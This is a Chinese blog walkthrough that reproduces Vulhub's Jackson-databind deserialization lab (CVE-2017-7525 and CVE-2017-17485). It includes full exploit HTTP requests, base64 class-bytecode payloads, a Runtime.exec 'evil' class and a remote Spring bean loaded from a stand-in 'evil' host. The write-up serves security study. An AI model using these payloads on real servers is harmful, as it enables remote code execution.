当前位置: 首页 > news >正文

Vulhub:Jackson[漏洞复现]

CVE-2017-7525(Jackson反序列化)

启动漏洞环境

docker-compose up -d

阅读vulhub给出的漏洞文档

cat README.zh-cn.md

# Jackson-databind 反序列化漏洞(CVE-2017-7525)

Jackson-databind 支持 [Polymorphic Deserialization](https://github.com/FasterXML/jackson-docs/wiki/JacksonPolymorphicDeserialization) 特性(默认情况下不开启),当 json 字符串转换的 Target class 中有 polymorph fields,即字段类型为接口、抽象类或 Object 类型时,攻击者可以通过在 json 字符串中指定变量的具体类型 (子类或接口实现类),来实现实例化指定的类,借助某些特殊的 class,如 `TemplatesImpl`,可以实现任意代码执行。

所以,本漏洞利用条件如下:

- 开启 JacksonPolymorphicDeserialization,即调用以下任意方法

  ```java
  objectMapper.enableDefaultTyping(); // default to using DefaultTyping.OBJECT_AND_NON_CONCRETE
  objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
  ```

- Target class 需要有无参 constructor
- Target class 中需要需要有字段类型为 Interface、abstract class、Object,并且使用的 Gadget 需要为其子类 / 实现接口

参考链接:

- [JacksonPolymorphicDeserialization](https://github.com/FasterXML/jackson-docs/wiki/JacksonPolymorphicDeserialization)
- [Exploiting the Jackson RCE: CVE-2017-7525](https://adamcaudill.com/2017/10/04/exploiting-jackson-rce-cve-2017-7525/)
- [jackson-rce-via-spel](https://github.com/irsl/jackson-rce-via-spel)
- [Jackson Deserializer security vulnerability](https://github.com/FasterXML/jackson-databind/commit/60d459cedcf079c6106ae7da2ac562bc32dcabe1)

## 漏洞环境

```shell
docker compose up -d
```

环境启动后,Web运行在`http://your-ip:8080/`。

## 漏洞复现

### CVE-2017-7525

`Jackson-databind` 在设置 Target class 成员变量参数值时,若没有对应的 getter 方法,则会使用 `SetterlessProperty` 调用 getter 方法,获取变量,然后设置变量值。当调用 `getOutputProperties()` 方法时,会初始化 `transletBytecodes` 包含字节码的类,导致命令执行,具体可参考 [java-deserialization-jdk7u21-gadget-note](https://b1ngz.github.io/java-deserialization-jdk7u21-gadget-note/) 中关于 `TemplatesImpl` 的说明。

使用JDK7u21的`com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl`作为Gadget,发送如下请求,将会执行`touch /tmp/prove1.txt`:

```
POST /exploit HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 1298

{
  "param": [
    "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    {
      "transletBytecodes": [
  "yv66vgAAADMAKAoABAAUCQADABUHABYHABcBAAVwYXJhbQEAEkxqYXZhL2xhbmcvT2JqZWN0OwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAcTGNvbS9iMW5nei9zZWMvbW9kZWwvVGFyZ2V0OwEACGdldFBhcmFtAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAhzZXRQYXJhbQEAFShMamF2YS9sYW5nL09iamVjdDspVgEAClNvdXJjZUZpbGUBAAtUYXJnZXQuamF2YQwABwAIDAAFAAYBABpjb20vYjFuZ3ovc2VjL21vZGVsL1RhcmdldAEAEGphdmEvbGFuZy9PYmplY3QBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAZAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAGwAcCgAaAB0BABV0b3VjaCAvdG1wL3Byb3ZlMS50eHQIAB8BAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAhACIKABoAIwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACUKACYAFAAhAAMAJgAAAAEAAgAFAAYAAAAEAAEABwAIAAEACQAAAC8AAQABAAAABSq3ACexAAAAAgAKAAAABgABAAAABgALAAAADAABAAAABQAMAA0AAAABAA4ADwABAAkAAAAvAAEAAQAAAAUqtAACsAAAAAIACgAAAAYAAQAAAAoACwAAAAwAAQAAAAUADAANAAAAAQAQABEAAQAJAAAAPgACAAIAAAAGKiu1AAKxAAAAAgAKAAAACgACAAAADgAFAA8ACwAAABYAAgAAAAYADAANAAAAAAAGAAUABgABAAgAGAAIAAEACQAAABYAAgAAAAAACrgAHhIgtgAkV7EAAAAAAAEAEgAAAAIAEw=="
      ],
      "transletName": "a.b",
      "outputProperties": {}
    }
  ]
}
```

![](1.png)

这个POC只能运行在目标为JDK7u21以下的环境中,其他情况请更换Gadget。

### CVE-2017-17485

CVE-2017-7525 [黑名单修复](https://github.com/FasterXML/jackson-databind/commit/60d459cedcf079c6106ae7da2ac562bc32dcabe1) 绕过,利用了 `org.springframework.context.support.FileSystemXmlApplicationContext`。

利用该漏洞,我们需要创建一个bean文件,放置在任意服务器上,如`http://evil/spel.xml`,内容如下:

```xml
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans
     http://www.springframework.org/schema/beans/spring-beans.xsd
">
    <bean id="pb" class="java.lang.ProcessBuilder">
        <constructor-arg>
            <array>
                <value>touch</value>
                <value>/tmp/prove2.txt</value>
            </array>
        </constructor-arg>
        <property name="any" value="#{ pb.start() }"/>
    </bean>
</beans>
```

然后,发送如下数据包,使Jackson加载bean,触发漏洞:

```
POST /exploit HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 138

{
  "param": [
    "org.springframework.context.support.FileSystemXmlApplicationContext",
    "http://evil/spel.xml"
  ]
}
```

成功执行`touch /tmp/prove2.txt`:

![](2.png)

**原理:** 利用 `FileSystemXmlApplicationContext` 加载远程 bean 定义文件,创建 ProcessBuilder bean,并在 xml 文件中使用 Spring EL 来调用 `start()` 方法实现命令执行

使用curl访问靶机8080端口

curl -v http://192.168.1.138:8080

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# curl -v http://192.168.1.138:8080                
*   Trying 192.168.1.138:8080...
* Connected to 192.168.1.138 (192.168.1.138) port 8080
* using HTTP/1.x
> GET / HTTP/1.1
> Host: 192.168.1.138:8080
> User-Agent: curl/8.10.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 404
< Content-Type: application/json;charset=UTF-8
< Transfer-Encoding: chunked
< Date: Tue, 17 Dec 2024 07:46:07 GMT
<
* Connection #0 to host 192.168.1.138 left intact
["java.util.LinkedHashMap",{"timestamp":["java.util.Date",1734421567642],"status":404,"error":"Not Found","message":"No message available","path":"/"}]

使用ffuf对靶机8080端口进行路径FUZZ

ffuf -u http://192.168.1.138:8080/FUZZ -w ../dictionary/Half-Dir.txt

由输出可见,/exploit接口爆了405状态码这一般表示请求方式不合法(GET、POST)

修改恶意class模板,使其能在靶机/tmp目录下新建0dayhp文件

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class evil extends AbstractTranslet {


    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }


    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    public evil() throws IOException {
        try {
            String[] commands = {"touch", "/tmp/0dayhp"};
            Process p = Runtime.getRuntime().exec(commands);
            p.waitFor();
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) throws IOException {
        evil test = new evil();
    }
}

将java切换到java6(这是重点,该漏洞环境必须使用jdk<=1.7版本编译的class文件才可生效)

sdk install java 6.0.119-zulu

编译该java文件得到:evil.class

javac evil.java

将evil.class内容转换成无换行base64编码

base64 -w 0 evil.class

yv66vgAAADIANgoADAAeBwAfCAAgCAAhCgAiACMKACIAJAoAJQAmBwAnCgAIACgHACkKAAoAHgcAKgEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAKRXhjZXB0aW9ucwcAKwEABjxpbml0PgEAAygpVgEADVN0YWNrTWFwVGFibGUHACkHACcHACwBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEAClNvdXJjZUZpbGUBAAxFeHBsb2l0LmphdmEMABQAFQEAEGphdmEvbGFuZy9TdHJpbmcBAAV0b3VjaAEACy90bXAvMGRheWhwBwAtDAAuAC8MADAAMQcAMgwAMwA0AQAeamF2YS9sYW5nL0ludGVycnVwdGVkRXhjZXB0aW9uDAA1ABUBAAdFeHBsb2l0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAHd2FpdEZvcgEAAygpSQEAD3ByaW50U3RhY2tUcmFjZQAhAAoADAAAAAAABAABAA0ADgABAA8AAAAZAAAABAAAAAGxAAAAAQAQAAAABgABAAAADQABAA0AEQACAA8AAAAZAAAAAwAAAAGxAAAAAQAQAAAABgABAAAAEgASAAAABAABABMAAQAUABUAAgAPAAAAewAEAAMAAAApKrcAAQW9AAJZAxIDU1kEEgRTTLgABSu2AAZNLLYAB1enAAhMK7YACbEAAQAEACAAIwAIAAIAEAAAACIACAAAABQABAAWABMAFwAbABgAIAAbACMAGQAkABoAKAAcABYAAAAQAAL/ACMAAQcAFwABBwAYBAASAAAABAABABkACQAaABsAAgAPAAAAJQACAAIAAAAJuwAKWbcAC0yxAAAAAQAQAAAACgACAAAAHwAIACAAEgAAAAQAAQAZAAEAHAAAAAIAHQ==

使用Yakit中MITM劫持自带的浏览器访问靶机8080端口并抓包

  • 通过之前使用ffuf对靶机进行路径FUZZ可知,/exploit可以接收POST数据
  • 这里将GET请求修改为POST请求,并将接口改成/exploit
  • 因为需要上传数据,所以这里需要添加两行请求头:Content-Type、Content-Length

通过仿照PoC构造请求包,最终的请求包如下

POST /exploit HTTP/1.1

Host: 192.168.1.138:8080

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/json

Content-Length: 666

{

  "param": [

    "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",

    {

      "transletBytecodes": [

  "yv66vgAAADIANgoADAAeBwAfCAAgCAAhCgAiACMKACIAJAoAJQAmBwAnCgAIACgHACkKAAoAHgcAKgEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAKRXhjZXB0aW9ucwcAKwEABjxpbml0PgEAAygpVgEADVN0YWNrTWFwVGFibGUHACkHACcHACwBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEAClNvdXJjZUZpbGUBAAxFeHBsb2l0LmphdmEMABQAFQEAEGphdmEvbGFuZy9TdHJpbmcBAAV0b3VjaAEACy90bXAvMGRheWhwBwAtDAAuAC8MADAAMQcAMgwAMwA0AQAeamF2YS9sYW5nL0ludGVycnVwdGVkRXhjZXB0aW9uDAA1ABUBAAdFeHBsb2l0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAHd2FpdEZvcgEAAygpSQEAD3ByaW50U3RhY2tUcmFjZQAhAAoADAAAAAAABAABAA0ADgABAA8AAAAZAAAABAAAAAGxAAAAAQAQAAAABgABAAAADQABAA0AEQACAA8AAAAZAAAAAwAAAAGxAAAAAQAQAAAABgABAAAAEgASAAAABAABABMAAQAUABUAAgAPAAAAewAEAAMAAAApKrcAAQW9AAJZAxIDU1kEEgRTTLgABSu2AAZNLLYAB1enAAhMK7YACbEAAQAEACAAIwAIAAIAEAAAACIACAAAABQABAAWABMAFwAbABgAIAAbACMAGQAkABoAKAAcABYAAAAQAAL/ACMAAQcAFwABBwAYBAASAAAABAABABkACQAaABsAAgAPAAAAJQACAAIAAAAJuwAKWbcAC0yxAAAAAQAQAAAACgACAAAAHwAIACAAEgAAAAQAAQAZAAEAHAAAAAIAHQ=="

      ],

      "transletName": "a.b",

      "outputProperties": {}

    }

  ]

}

进入到靶机/tmp目录下

root@66774deccb96:/# ls
bin  boot  dev  etc  home  jackson.jar  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
root@66774deccb96:/# cd /tmp
root@66774deccb96:/tmp# ls
hsperfdata_root  tomcat-docbase.1291442946857578900.8080  tomcat.6828697716839281401.8080

在Yakit中点击左上角的发送请求,得到响应

此时再查看靶机/tmp目录可见0dayhp文件已被成功创建

root@66774deccb96:/tmp# ls
hsperfdata_root  tomcat-docbase.1291442946857578900.8080  tomcat.6828697716839281401.8080
root@66774deccb96:/tmp# ls
0dayhp  hsperfdata_root  tomcat-docbase.1291442946857578900.8080  tomcat.6828697716839281401.8080

相关文章:

Vulhub:Jackson[漏洞复现]

CVE-2017-7525(Jackson反序列化) 启动漏洞环境 docker-compose up -d 阅读vulhub给出的漏洞文档 cat README.zh-cn.md # Jackson-databind 反序列化漏洞&#xff08;CVE-2017-7525&#xff09; Jackson-databind 支持 [Polymorphic Deserialization](https://github.com/Fas…...

strongswan构建测试环境

make-testing脚本文件负责构建strongswan的虚拟化测试系统。位于目录strongswan-5.9.14/testing/&#xff0c;需要以管理员身份运行make-testing。生成测试用到的虚拟客户机镜像&#xff0c;KVM虚拟机和虚拟网络的配置文件位于目录:config/kvm。 ~/strongswan-5.9.14/testing$…...

前端:金额高精度处理

Decimal 是什么 想必大家在用js 处理 数字的 加减乘除的时候&#xff0c;或许都有遇到过 精度不够 的问题&#xff0c;还有那些经典的面试题 0.20.1 ! 0.3&#xff0c; 至于原因&#xff0c;那就是 js 计算底层用的是 IEEE 754 &#xff0c;精度上有限制&#xff0c; 那么Deci…...

面试题整理3----nc命令的常见用法

面试题整理3----nc命令的常见用法 1. NC是什么2. NC的常用参数2.1 开启指定端口TCP监听(-l小写的L)2.2 测试端口是否能访问(-v)2.3 开启指定端口UDP监听(-u)2.4 端口扫描(-z)2.5 指定超时时间(-w)2.6 指定本地端口号连接(-p)2.7 指定的命令(-e) 1. NC是什么 nc&#xff08;Net…...

Trimble天宝三维激光扫描仪在建筑工程竣工测量中的应用【沪敖3D】

竣工测量是建筑项目竣工阶段的一个至关重要的环节&#xff0c;它为建筑工程的质量验收和成果核查提供了核心的参考依据。传统的竣工测量方法&#xff0c;如全站仪测量&#xff0c;主要依赖于现场人工操作&#xff0c;存在一些明显的局限性&#xff0c;例如作业时间长、工作量大…...

IntelliJ IDEA 使用技巧与插件推荐

目录 常用使用技巧 1. 使用快捷键提升开发效率 2. 多光标编辑 3. 代码自动补全 4. 使用 Find Action 快速执行操作 5. 集成版本控制系统&#xff08;VCS&#xff09; 6. 快速查看代码文档 推荐插件 1. Lombok Plugin 2. Rainbow Brackets 3. Key Promoter X 4. Chec…...

Oracle 技术精选学习

Oracle 技术犹如一座闪耀着无尽光芒的灯塔&#xff0c;为众多 IT 从业者和技术爱好者照亮了前行的道路。无论是数据库管理、企业应用开发还是数据分析&#xff0c;Oracle 都以其强大、稳定和广泛的应用而占据着行业的重要地位。学习 Oracle 技术&#xff0c;更是能为个人带来诸…...

sqlilabs第三十关到第三十五关靶场攻略

第三十关 第三十关和二十九关差不多&#xff0c;将单引号换成双引号 查询表名&#xff0c;字段名&#xff0c;数据 ?id1&id-2" union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()-- ?id1&id-2" …...

windows免登录linux

windows 生成秘钥文件 ssh-keygen -t rsa 将公钥传送到服务器 scp C:\Users\xx/.ssh/id_rsa.pub xxxx:/home/ruoyi/id_rsa.pub linux 使用ssh-copy-id -i ~/.ssh/id_rsa.pub userhost 如果禁用root登录&#xff0c;先开启 vim /etc/ssh/sshd_config PermitRootLogin yes …...

matlab绘图时设置左、右坐标轴为不同颜色

目录 一、需求描述 二、实现方法 一、需求描述 当图中存在两条曲线&#xff0c;需要对两条曲线进行分别描述时&#xff0c;应设置左、右坐标轴为不同颜色&#xff0c;并设置刻度线&#xff0c;且坐标轴颜色需要和曲线颜色相同。 二、实现方法 1.1、可以实现&#xff1a; 1…...

springboot+javafx使用aop切面导致的fx:id不能被注入问题

记录一个我遇到得问题 问题描述 我本来使用AOP切面来进行全局异常管理&#xff0c;但是使用AOP之后fxml中通过fx:id绑定得参数无法被注入 Slf4j Component Aspect public class GlobalExceptionAspect {AfterThrowing(pointcut "execution(* com.shkj.videoclassifica…...

说说你对java lambda表达式的理解?

大家好&#xff0c;我是锋哥。今天分享关于【说说你对java lambda表达式的理解?】面试题。希望对大家有帮助&#xff1b; 说说你对java lambda表达式的理解? 1000道 互联网大厂Java工程师 精选面试题-Java资源分享网 Java Lambda 表达式是 Java 8 引入的一项重要特性&#…...

优化你的 3D Tiles:性能与质量的平衡

优化你的 3D Tiles&#xff1a;性能与质量的平衡 在现代的三维场景渲染中&#xff0c;3D Tiles 是一种强大的技术&#xff0c;它能以高效、分级加载的方式呈现海量的三维数据。然而&#xff0c;优化 3D Tiles 以实现性能与质量的平衡&#xff0c;却是一个复杂且关键的任务。本…...

【数据结构——线性表】单链表的基本运算(头歌实践教学平台习题)【合集】

目录&#x1f60b; 任务描述 相关知识 测试说明 我的通关代码: 测试结果&#xff1a; 任务描述 本关任务&#xff1a;编写一个程序实现单链表的基本运算。 相关知识 为了完成本关任务&#xff0c;你需要掌握&#xff1a;初始化线性表、销毁线性表、判定是否为空表、求线性…...

设计模式之桥接模式:抽象与实现之间的分离艺术

~犬&#x1f4f0;余~ “我欲贱而贵&#xff0c;愚而智&#xff0c;贫而富&#xff0c;可乎&#xff1f; 曰&#xff1a;其唯学乎” 桥接模式概述与角色组成 想象一下你家里的电视遥控器&#xff0c;无论是索尼还是三星的电视机&#xff0c;遥控器的按键功能都差不多&#xff1…...

网络隧道与代理

文章目录 网络隧道网络代理参考 网络隧道 使用隧道的原因是在不兼容的网络上传输数据&#xff0c;或在不安全网络上提供一个安全路径。网络隧道的一个典型特征就是封装报文和对报文加密。如下是两个典型的案例&#xff1a;IPv4到IPv6的迁移、VPN。 图3.1 IPv4到IPv6的迁移 图…...

游戏关卡分析:荒野大镖客2雪山终战

1、相关剧情 主角约翰一家在农场过着悠闲的日子&#xff0c;突然平静被打破&#xff0c; 女枪手来报信&#xff0c;在某小镇找到了迈卡的消息。 于是激发了约翰的满腔怒气&#xff0c;不顾妻子的反对&#xff0c;坚决要出战&#xff0c; 要彻底歼灭迈卡&#xff0c;为亚瑟…...

Java 中的 LocalDateTime、DateTime 和 Date 的区别解析

目录 前言 一、LocalDateTime&#xff1a;新的 Java 8 日期时间 API 1.1 LocalDateTime 简介 1.2 设计理念 1.3 适用场景 1.4 示例代码 二、DateTime&#xff1a;没有明确标准的类 2.1 DateTime 的模糊性 2.2 适用场景 三、Date&#xff1a;老旧的日期时间类 3.1 Da…...

MATLAB引用矩阵元素的几种方法

引用矩阵元素可以通过索引&#xff0c;也可以通过逻辑值 索引 通过引用元素在矩阵中的位置来提取元素&#xff0c;例如&#xff1a; - 逻辑值 通过某种逻辑运算来使得要提取的值变为逻辑 1 1 1&#xff0c;用 A ( ) A() A()提取即可&#xff0c; A A A为原矩阵的名称。 例如&…...

Linux、File System、Linux基本常用命令

一、File System 文件系统 Linux文件系统是操作系统用来组织、管理和存储问价及目录结构的方式。它不仅定义了如何将数据保存到磁盘上&#xff0c;还规定了用户如何与这些数据进行交互。 1、层次结构 根目录&#xff08;/&#xff09;&#xff1a;所有文件和目录都从根目录开始…...

大数据治理:开启数据价值挖掘之旅

在当今数字化时代&#xff0c;数据呈爆炸式增长&#xff0c;大数据已经渗透到各个行业和领域&#xff0c;成为企业竞争和创新的关键驱动力。而大数据治理作为有效管理和利用大数据资源的核心手段&#xff0c;在教学领域也具有至关重要的地位。 一、大数据治理的内涵与重要性 大…...

Linux排查cpu运行负载过高

方式1&#xff1a;top 先输入top再输入1&#xff0c;查看 %CPU 列&#xff0c;找出占用 CPU 最多的进程 作用&#xff1a;切换显示每个逻辑 CPU 的使用情况。效果&#xff1a; 如果系统有多个 CPU 核心或超线程逻辑处理器&#xff0c;按下 1 会使得 top 分别显示每个逻辑 CPU…...

Cobalt Strike 4.8 用户指南-第十四节 Aggressor 脚本

14.1、什么是Aggressor脚本 Aggressor Script 是Cobalt Strike 3.0版及更高版本中内置的脚本语言。Aggressor 脚本允许你修改和扩展 Cobalt Strike 客户端。 历史 Aggressor Script 是 Armitage 中开源脚本引擎Cortana的精神继承者。Cortana 是通过与 DARPA 的网络快速跟踪计…...

C++并发与多线程(高级函数async)

async 在 C 中&#xff0c;async 关键字用于实现异步编程&#xff0c;它允许你定义异步操作&#xff0c;这些操作可以在后台执行&#xff0c;而不会阻塞当前线程。这是 C11 引入的特性&#xff0c;与 std::async 函数和 std::future 类一起使用。与thread函数模板的区别在于as…...

安卓课设版算法计算器

安卓课设版算法计算器&#xff08;HNUST&#xff09; 前言&#xff1a; 如果只想看函数使用说明请跳转到“四、使用函数介绍” 该版本为课设版&#xff0c;富含多个界面&#xff0c;是前版的plus版本&#xff0c;进行了更多的复杂化操作&#xff0c;故因此会觉得对于计算器有点…...

X-Forwarded-For注入漏洞

0x00环境介绍 靶机http://219.153.49.228:48033,通过注入完成找到网站的key。 1|00x01复现过程 1.访问网站使用admin/admin登入&#xff0c;用burpsuite截包寻找注入点 >>截到的包&#xff0c;正常放包回显内容 >>加X-forwarded-for:1.1.1.1回显IP数据改变&…...

Linux - MySQL迁移至一主一从

Linux - MySQL迁移至一主一从 迁移准备安装MySQL ibd文件迁移原服务器操作目标服务器操作 一主一从增量同步异常解决结尾 首先部分单独安装MySQL&#xff0c;请参考Linux - MySQL安装&#xff0c;迁移数据量比较大约400G左右且网络不通故使用文件迁移&#xff0c;需开启一段时间…...

《变形金刚:赛博坦的陨落》游戏启动难题:‘buddha.dll’缺失的七大修复策略

《变形金刚&#xff1a;赛博坦的陨落》游戏启动时提示buddha.dll缺失&#xff1a;原因与解决方案 作为一名软件开发从业者&#xff0c;我在日常工作中经常遇到电脑游戏运行时出现的各种问题&#xff0c;如文件丢失、文件损坏和系统报错等。今天&#xff0c;我们就来探讨一下《…...

51c嵌入式~单片机~合集2

我自己的原文哦~ https://blog.51cto.com/whaosoft/12362395 一、不同的电平信号的MCU怎么通信&#xff1f; 下面这个“电平转换”电路&#xff0c;理解后令人心情愉快。电路设计其实也可以很有趣。 先说一说这个电路的用途&#xff1a;当两个MCU在不同的工作电压下工作&a…...

java Resource 记录

Java 注解 Resource 是一个标准的 Java 注解&#xff0c;用于注入资源。它可以用于注入任何资源&#xff0c;如文件、数据库连接、用户定义的资源等。它可以通过名称或类型进行注入。 当你想要注入一个bean到你的类中时&#xff0c;你可以使用Resource注解。 解决方案1&#…...